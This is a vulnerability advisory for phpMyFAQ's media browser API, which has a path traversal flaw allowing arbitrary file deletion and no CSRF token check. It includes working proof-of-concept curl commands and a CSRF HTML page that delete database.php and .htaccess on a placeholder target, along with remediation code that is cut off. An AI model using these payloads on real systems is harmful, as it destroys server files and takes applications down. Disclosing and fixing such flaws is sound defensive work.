phpMyFAQ: Path Traversal - Arbitrary File Deletion in MediaBrowserController
Summary
The MediaBrowserController::index() method handles file deletion for the media browser. When the fileRemove action is triggered, the user-supplied name parameter is concatenated with the base upload directory path without any path traversal validation. The FILTER_SANITIZE_SPECIAL_CHARS filter only encodes HTML special characters (&, ', ", <, >) and characters with ASCII value < 32, and does not prevent directory traversal sequences like ../. Additionally, the endpoint does not validate CSRF tokens, making it exploitable via CSRF attacks.
Details
Affected File: phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/MediaBrowserController.php
Lines 43-66:
```php
#[Route(path: 'media-browser', name: 'admin.api.media.browser', methods: ['GET'])]
public function index(Request $request): JsonResponse|Response
{
$this->userHasPermission(PermissionType::FAQ_EDIT);
// ...
$data = json_decode($request->getContent());
$action = Filter::filterVar($data->action, FILTER_SANITIZE_SPECIAL_CHARS);
if ($action === 'fileRemove') {
$file = Filter::filterVar($data->name, FILTER_SANITIZE_SPECIAL_CHARS);
$file = PMF_CONTENT_DIR . '/user/images/' . $file;
if (file_exists($file)) {
unlink($file);
}
// Returns success without checking if deletion was within intended directory
}
}
```
Root Causes:
1. No path traversal prevention: FILTER_SANITIZE_SPECIAL_CHARS does not remove or encode ../ sequences. It only encodes HTML special characters.
2. No CSRF protection: The endpoint does not call Token::verifyToken(). Compare with ImageController::upload() which validates CSRF tokens at line 48.
3. No basename() or realpath() validation: The code does not use basename() to strip directory components or realpath() to verify the resolved path stays within the intended directory.
4. HTTP method mismatch: The route is defined as methods: ['GET'] but reads the request body via $request->getContent(). This bypasses typical GET-only CSRF protections that rely on same-origin checks for GET requests.
Comparison with secure implementation in the same codebase:
The ImageController::upload() method (same directory) properly validates file names:
```php
if (preg_match("/([^\w\s\d\-_~,;:\[\]\(\).])|([\.]{2,})/", (string) $file->getClientOriginalName())) {
// Rejects files with path traversal sequences
}
```
The FilesystemStorage::normalizePath() method also properly validates paths:
```php
foreach ($segments as $segment) {
if ($segment === '..' || $segment === '') {
throw new StorageException('Invalid storage path.');
}
}
```
PoC
Direct exploitation (requires authenticated admin session):
```bash
# Delete the database configuration file
curl -X GET 'https://target.example.com/admin/api/media-browser' \
-H 'Content-Type: application/json' \
-H 'Cookie: PHPSESSID=valid_admin_session' \
-d '{"action":"fileRemove","name":"../../../content/core/config/database.php"}'
# Delete the .htaccess file to disable Apache security rules
curl -X GET 'https://target.example.com/admin/api/media-browser' \
-H 'Content-Type: application/json' \
-H 'Cookie: PHPSESSID=valid_admin_session' \
-d '{"action":"fileRemove","name":"../../../.htaccess"}'
```
CSRF exploitation (attacker hosts this HTML page):
```html
<html>
<body>
<script>
fetch('https://target.example.com/admin/api/media-browser', {
method: 'GET',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
action: 'fileRemove',
name: '../../../content/core/config/database.php'
}),
credentials: 'include'
});
</script>
</body>
</html>
```
When an authenticated admin visits the attacker's page, the database configuration file (database.php) is deleted, effectively taking down the application.
Impact
- Server compromise: Deleting
content/core/config/database.php causes total application failure (database connection loss). - Security bypass: Deleting
.htaccess or web.config can expose sensitive directories and files. - Data loss: Arbitrary file deletion on the server filesystem.
- Chained attacks: Deleting log files to cover tracks, or deleting security configuration files to weaken other protections.
Remediation
1. Add path traversal validation:
```php
if ($action === 'fileRemove') {
$file = basename(Filter::filterVar($data->name, FILTER_SANITIZE_SPECIAL_CHARS));
$targetPath = realpath(PMF_CONTENT_DIR . '/user/images/' . $file);
$allowedDir = realpath(PMF_CONTENT_DIR . '/user/images');
if ($targetPath === false || !str_starts_with($targetPath, $allowedDir . DIRECTORY_SEPARATOR)) {
return $this->json(['error' => 'Invalid file path'], Response::HTTP_BAD_REQUEST);
}
if (file_exists($targetPath)) {
unlink($targetPath);
